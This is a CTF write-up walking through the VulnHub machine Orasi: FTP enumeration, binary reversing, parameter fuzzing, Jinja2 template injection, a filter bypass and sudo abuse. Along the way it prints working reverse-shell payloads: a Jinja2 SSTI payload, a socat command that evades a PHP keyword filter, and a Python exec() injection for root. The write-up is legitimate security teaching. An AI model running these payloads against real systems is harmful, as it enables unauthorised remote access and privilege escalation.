# Orasi: BOOT2ROOT CTF VULNHUB WRITEUP

Welcome back to another writeup! In this post, I’ll be walking you through how I managed to pwn **Orasi** — a machine available on VulnHub. While **Orasi** has a reputation for being a tough box according to many in the community, I personally found it to be more approachable than expected once I broke it down step-by-step. Throughout this guide, I’ll show you exactly how I tackled it. Let's dive in!!

**Reconnaissance**

Let's scan for open ports using **Nmap** for potential entry points.

*`nmap -A -p- -T5 192.168.121.147`*

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FQskSlxXDKODb0HfENmON%2FScreenshot%20(796).png?alt=media&#x26;token=1b977923-a740-49d9-8447-60fc4213f7a2" alt=""><figcaption><p>Port 21(ftp), 22(ssh), 80(http), and also an http(5000)</p></figcaption></figure>

**Enumeration**

If you noticed, the ftp allow **Anonymous** access. So let's try to access ftp!

*`lftp -u anonymous, 192.168.121.147`*

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FMmRiO3ufbL8hkMsKBYm3%2FScreenshot%20(798).png?alt=media&#x26;token=bdb32fb0-980c-4f90-bfae-63cee4317c19" alt=""><figcaption></figcaption></figure>

Under **pub** directory, there's a file named **url**&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FcRAJaHc0jix5CIH0fSuX%2FScreenshot%20(799).png?alt=media&#x26;token=04b94904-82e9-4763-8e18-d34fc4eaebde" alt=""><figcaption><p>It turns out that is an ELF executable binary.</p></figcaption></figure>

Next thing I did is to transfer the **url** file to my attacker machine

*`get url`*&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FD69ayROIU7VWv06zqOOK%2FScreenshot%20(800).png?alt=media&#x26;token=86563d44-f55f-44ca-8ae6-6a93a8aae7d3" alt=""><figcaption></figcaption></figure>

At my local machine I made it executable

*`chmod +x url`*&#x20;

and execute

*`./url`*&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FObENF6RH7YEVR360q3zp%2FScreenshot%20(802).png?alt=media&#x26;token=62c9dc3a-eaf7-487c-86b2-b55ccaee9979" alt=""><figcaption></figcaption></figure>

Nothing useful, so I fired up Ghidra to analyze the code and dig into its logic, hoping to uncover something hidden beneath the surface.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FvzekyTLkYguxDOTfWgQE%2FScreenshot%20(804).png?alt=media&#x26;token=0ad40ab7-e442-423a-b563-c7340e26fbb1" alt=""><figcaption></figcaption></figure>

Notice the pattern? When we examine the **main** function more closely, some interesting behavior stands out. The code seems to be setting up values for certain operations by moving them into the source and destination indices, followed by a call to the **insert** function. Specifically, at lines 1192 and 1197, the opcodes **be** and **bf** are used, these correspond to instructions that move a value into the **ESI** (source index) and **EDI** (destination index) registers, respectively. The hexadecimal value immediately following each of these opcodes represents the actual data being assigned.

I gathered all the hexadecimal values that were assigned to the source index just before each call to the **insert** function, and here's what I found

```
2f 73 68 34 64 30 77 24 73
```

Next thing I did is to decode this hex to ASCII using **xxd** and here's the result

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FDzUXh3l8cTtvGar5yyl4%2FScreenshot%20(807).png?alt=media&#x26;token=888e8453-fad0-4a47-945c-5df4645cf174" alt=""><figcaption></figcaption></figure>

```
/sh4d0w$s
```

This seems to resemble a URL path. Speaking of URLs, let’s go ahead and check out the HTTP interface to see what’s there.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FuxBeiW9QLmKc3jhYCnAU%2FScreenshot%20(805).png?alt=media&#x26;token=954de1a9-3169-4e3a-a1d6-500bec280f3d" alt=""><figcaption><p>Port 80</p></figcaption></figure>

Hmm... the sequence **6 6 1337leet** looks familiar, it resembles the kind of syntax or pattern you’d see used in a specific tool.

How about the other http? Port 5000 (Running in Python Server)

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FbNJmUiMRDoxrq0gdIilc%2FScreenshot%20(806).png?alt=media&#x26;token=95020599-39f1-4883-9c7a-aff1a9f0e6e9" alt=""><figcaption></figcaption></figure>

What if I add the decoded path?

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FT0RQXydjjRg5emrYPwLX%2FScreenshot%20(808).png?alt=media&#x26;token=409f891a-2821-4565-967d-09f065d27725" alt=""><figcaption></figcaption></figure>

This suggests that the path is expecting some kind of input, possibly a GET parameter. However, since we don’t know the exact parameter name yet, we’ll need to fuzz for it.

Let’s head back to port 80. That **6 6 1337leet** pattern? Turns out, it’s actually a syntax used in **Crunch**. Maybe we can use the generated wordlist to fuzz the GET parameter.

*`crunch 6 6 1337leet -o wordlist.txt`*

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FfZQcNGlcbO9QGWyUeUWn%2FScreenshot%20(809).png?alt=media&#x26;token=48cff127-4804-4596-a518-cb77ec9c0b9a" alt=""><figcaption></figcaption></figure>

Now that we have the wordlist, let's fuzz the GET parameter using **ffuf**

*`ffuf -c -u 'http://192.168.121.147:5000/sh4d0w$s?FUZZ=so_drained' -w wordlist.txt -fs 8`*&#x20;

The **-fs 8** option filters out responses with a size of 8. This means that, for every incorrect GET parameter, the server will return "No input" with a length of 8. However, for the correct parameter, the response size will likely vary since I’ve used a value longer than 8 characters. To observe the response sizes more clearly, we can remove the filter and analyze them directly. This is a fundamental step in fuzzing, just a heads-up in case you're not yet familiar with the process.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FXCtKJNEPWaVTdVlsmWz0%2FScreenshot%20(810).png?alt=media&#x26;token=b59ac619-ed3d-418c-926d-a2c5118b06b8" alt=""><figcaption></figcaption></figure>

**Exploitation**

Eventually, I identified the correct GET parameter. Given that the server is running Python, it’s likely using **jinja2**-style templates. To verify this, I tried the following payload to see if the server is vulnerable to **server-side template injection (SSTI)**.

```
{{10*10}}
```

Here's the result

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F6WZKg7O9CCK841lfQyaJ%2FScreenshot%20(811).png?alt=media&#x26;token=aaccd17b-c005-4ef8-b8be-8efa18f3828c" alt=""><figcaption></figcaption></figure>

It's confirmed!! At this stage, we can establish a reverse shell. Here's the payload

```python
{% for cls in ().__class__.__base__.__subclasses__() %}{% if cls.__name__.find("warning") != -1 %}{{cls()._module.__builtins__.get('__import__')('os').popen("python3 -c 'import socket,os,pty,subprocess as sp;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.121.32\",4444));[os.dup2(s.fileno(),fd) for fd in range(3)];pty.spawn(\"/bin/bash\")'")}}{% endif %}{% endfor %}
```

After running the payload through the **l333tt** parameter, we successfully gained a shell.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FJLOUrU6bgCJx3J3U3IIr%2FScreenshot%20(813).png?alt=media&#x26;token=4bddf9eb-ee01-4796-8245-2f8e9e68aa7b" alt=""><figcaption></figcaption></figure>

Navigating to the **home** directory, there are 2 users

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FXlWKNXjgVy3Swdh96sSl%2FScreenshot%20(814).png?alt=media&#x26;token=03f310cc-7328-43de-afd6-d96ed144fcbb" alt=""><figcaption></figcaption></figure>

Next thing I did is to check the sudo permissions of www-data

*`sudo -l`*&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FMXzYn9nkBREj9IjsrnUY%2FScreenshot%20(815).png?alt=media&#x26;token=3821c43f-70fa-4e7f-9729-17f6a43da582" alt=""><figcaption></figcaption></figure>

It turns out that we can execute a PHP script as user **kori**, next thing I did is to check the content of the **jail.php**

```php
<?php
array_shift($_SERVER['argv']);
$var = implode(" ", $_SERVER['argv']);

if($var == null) die("Orasis Jail, argument missing\n");

function filter($var) {
        if(preg_match('/(`|bash|eval|nc|whoami|open|pass|require|include|file|system|\/)/i', $var)) {
                return false;
        }
        return true;
}
if(filter($var)) {
        $result = exec($var);
        echo "$result\n";
        echo "Command executed";
} else {
        echo "Restricted characters has been used";
}
echo "\n";
?>
```

This is the reason why it gets harder, it’s clear that the script is capable of executing commands. However, if the input contains specific keywords such as **bash, eval, nc**, and similar, it triggers a warning message saying “**restricted characters have been used.**” Additionally, the use of the slash (**/**) is also blocked, preventing us from referencing full binary paths like **/bin/bash**.

But they forgot something, just noticed that **socat** is not included, that's why I wonder if there's a socat in this and it has!!!! We can use socat, to spawn a shell as user kori!

Next thing I did is to establish another listener in my local machine and execute this command in the target

```
sudo -u kori php /home/kori/jail.php socat TCP:192.168.121.32:3333 EXEC:'sh',pty,stderr,setsid,sigint
```

Execute and it should spawn a shell

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F8CTs8M1g3GMjuRTVdQcE%2FScreenshot%20(818).png?alt=media&#x26;token=76adec79-d941-4087-a35e-0c38eb19ed79" alt=""><figcaption></figcaption></figure>

Next thing I did is to upgrade the shell

*`python3 -c 'import pty; pty.spawn("/bin/bash")'`*

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FgjPAmqxifquuRJnqdP3p%2FScreenshot%20(820).png?alt=media&#x26;token=10d306f4-b5a5-4a72-bb39-d3afca63b6bc" alt=""><figcaption></figcaption></figure>

I've checked the sudo permissions of the user kori

*`sudo -l`*

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FGpXdC8sKeoNu8IUg4wH4%2FScreenshot%20(821).png?alt=media&#x26;token=2b7ca524-a605-442f-b9c0-3383562f2912" alt=""><figcaption></figcaption></figure>

It appears that the user kori has permission to copy an APK file from irida’s home directory into their own directory.

*`sudo -u irida cp /home/irida/irida.apk /home/kori/irida.apk`*&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F0vqUY55kfzd0I47RmoP8%2FScreenshot%20(822).png?alt=media&#x26;token=c2396779-977c-4e20-8442-61c070f52c97" alt=""><figcaption></figcaption></figure>

Why permission denied?

Since we’re now running commands as the user irida, we have access to the **irida.apk** file located in her home directory. However, irida doesn't have write permissions for kori’s directory. To work around this, I had to modify the directory's permissions to allow write access for other users.

*`chmod o+w .`*&#x20;

Then execute this again

*`sudo -u irida cp /home/irida/irida.apk /home/kori/irida.apk`*&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FRehcgyCKHqtoJ8SA4wkR%2FScreenshot%20(823).png?alt=media&#x26;token=a4388c73-e0f1-4c1d-a9d8-63cdb397a200" alt=""><figcaption></figcaption></figure>

But there's still a problem

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FvWU87rWnB2UfrEUjaaNV%2FScreenshot%20(825).png?alt=media&#x26;token=39e14975-d915-4acf-a0f9-ca79ccd804f2" alt=""><figcaption></figcaption></figure>

As you can see, the owner is still irida even though we've successfully copied it to kori, so technically, we cannot still access the apk file. What should we do?&#x20;

First we will delete the irida.apk in user kori and we will make a new one but empty

*`touch irida.apk`*

Then we will change file permission to **777** to give full access to everyone

*`chmod 777 irida.apk`*&#x20;

Finally we will copy the apk again from irida

*`sudo -u irida cp /home/irida/irida.apk /home/kori/irida.apk`*&#x20;

Here's the result

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F0lugTqYS2RAfa0RjwLNC%2FScreenshot%20(827).png?alt=media&#x26;token=8246c895-cff4-413b-a715-6115b8c3f341" alt=""><figcaption></figcaption></figure>

As you can see here, the owner of irida.apk is now kori!!

I transfer the APK file to my local machine to decompile it

target

*`php -S 0.0.0.0:1234`*&#x20;

attacker

*`wget http://<target_ip>:1234/irida.apk`&#x20;*&#x20;

After transfer I decompile the APK file but first let's unzip the APK file

*`unzip irida.apk`*&#x20;

Its internal structure will be extracted along with the **classes.dex**

Next thing I did is to convert the classes.dex to Java archives using **d2j-dex2jar**

*`d2j-dex2jar classes.dex`*&#x20;

Upon exploring the generated .class files, I found this file that seems interesting

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FlEVD1L13NHq21rduifnf%2FScreenshot%20(834).png?alt=media&#x26;token=a5dc8e4c-ba46-4126-8e73-20760364fc7b" alt=""><figcaption></figcaption></figure>

The **LoginDataSource.class** caught my eye, so all I did is to decompile it using **procyon** and here's the decompiled version

```java
// 
// Decompiled by Procyon v0.6.0
// 

package com.alienum.irida.data;

import java.util.HashMap;
import java.io.IOException;
import java.util.UUID;
import com.alienum.irida.data.model.LoggedInUser;

public class LoginDataSource
{
    public Result<LoggedInUser> login(final String s, final String s2) {
        if (s.equals("irida") && s2.equals(this.protector("1#2#3#4#5"))) {
            try {
                return new Result.Success<Object>(new LoggedInUser(UUID.randomUUID().toString(), "Irida Orasis"));
            }
            catch (final Exception cause) {
                return new Result.Error(new IOException("Error logging in", cause));
            }
        }
        return new Result.Error(new IOException("Error logging in", null));
    }
    
    public void logout() {
    }
    
    public String protector(String string) {
        final String[] split = string.split("#");
        final HashMap hashMap = new HashMap();
        hashMap.put(split[0], "eye");
        hashMap.put(split[3], "tiger");
        hashMap.put(split[4], "()");
        hashMap.put(split[1], "of");
        hashMap.put(split[2], "the");
        final StringBuilder sb = new StringBuilder();
        sb.append(hashMap.get(split[0]));
        sb.append(".");
        sb.append(hashMap.get(split[1]));
        sb.append(".");
        sb.append(hashMap.get(split[2]));
        sb.append(".");
        sb.append(hashMap.get(split[3]));
        sb.append(".");
        sb.append(hashMap.get(split[4]));
        string = sb.toString();
        System.out.println(string);
        return string;
    }
}
```

This code defines a simple login system in the **LoginDataSource** class, where the **login** method authenticates a user by checking if the username is **irida** and if the password, after being passed through a custom transformation method called **protector**, matches a specific hashed structure built from a **#**-separated string (**"1#2#3#4#5"**) mapping numeric keys to values like **"eye.of.the.tiger()"**. If the credentials match, it returns a success result with a generated **UUID** and the name **Irida Orasis**; otherwise, it returns an error. The **protector** method acts as a basic obfuscation mechanism for the expected password.

This strongly indicates that the password for the user irida is being revealed here, but where exactly? If you recall from our **Nmap** scan, the SSH service is open. It's possible that the password found in the code belongs to irida. If that's the case, we might be able to log in via SSH using her credentials.

*`ssh irida@192.168.121.147`*

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FP4Ex5peO3FXoYdNGyaIv%2FScreenshot%20(835).png?alt=media&#x26;token=ceb3a2ed-7191-4dee-acd0-47ed0794acb1" alt=""><figcaption></figcaption></figure>

It works!!!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2F0jO3lYmAp9LJtquiWmFE%2FScreenshot%20(836).png?alt=media&#x26;token=ea33203e-2167-4b1e-ba12-0589289141c1" alt=""><figcaption><p>We've got the user flag!!</p></figcaption></figure>

**Privilege Escalation**

Now it's time to escalate privilege

First thing is to check the sudo permissions as always

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Fb9KIuWmvDFmFmV5OduTk%2FScreenshot%20(837).png?alt=media&#x26;token=b895279d-d809-4739-aedb-23b0d2f0670d" alt=""><figcaption></figcaption></figure>

As shown here, we are allowed to execute a Python script as root, but we don't have the permission to read the file. So our only option here is to execute the script

*`sudo python3 /root/oras.py`*&#x20;

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2Fzpo8H0VHRWlQdUpBElvx%2FScreenshot%20(839).png?alt=media&#x26;token=03d75621-7e6b-450b-85a7-71fc085f2ed6" alt=""><figcaption></figcaption></figure>

The input is expected to be in **hexadecimal byte** format, which will then be decoded into a string. So, we need to adjust the command accordingly.

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FhdqObNIDKRuhpgjP4k0C%2FScreenshot%20(841).png?alt=media&#x26;token=05bfb6d3-09b8-47dc-b8ed-da0762c2fcbf" alt=""><figcaption></figcaption></figure>

It appears that Python commands can be injected, as the input is being passed directly to the **exec** function. This function can execute multiple lines of Python code, making it a potential injection point.&#x20;

My plan here is to execute a reverse shell payload. But before that, we’ll set up a listener on our attacker machine. If everything works as intended, it should grant us a root shell.

*`python3 -c "print(b"import socket,os,pty;s=socket.socket();s.connect(('192.168.121.32',5454));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('sh')".hex())" | sudo python3 /root/oras.py`*&#x20;

Execute and here's the result

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FVsHKXLfWzWJPUwuXkBiO%2FScreenshot%20(842).png?alt=media&#x26;token=ac2eadd2-c6e3-444f-bb9c-5f61e4dafe13" alt=""><figcaption></figcaption></figure>

It works!!! We're now root!!

<figure><img src="https://271954773-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FYsivTjPn2jLXI0ZgVqeF%2Fuploads%2FUJq7L1QmDlH6SN31NPgb%2FScreenshot%20(844).png?alt=media&#x26;token=6b017c54-aae1-47cd-9919-c555662c1ad3" alt=""><figcaption><p>Root flag!!</p></figcaption></figure>

We've successfully pwned Orasi!

**Conclusion**

This Boot2Root challenge was quite a journey, definitely time-consuming and a bit lengthy to work through, haha. However, it was packed with valuable learning experiences. It covered a wide range of concepts essential to both CTF competitions and real-world ethical hacking, including reverse engineering, crafting reverse shells, and adapting when standard tools aren’t available. It really emphasizes the importance of creativity, persistence, and a solid understanding of system behavior. Challenges like this push you to think outside the box and sharpen your problem-solving skills, all while having a bit of fun along the way.
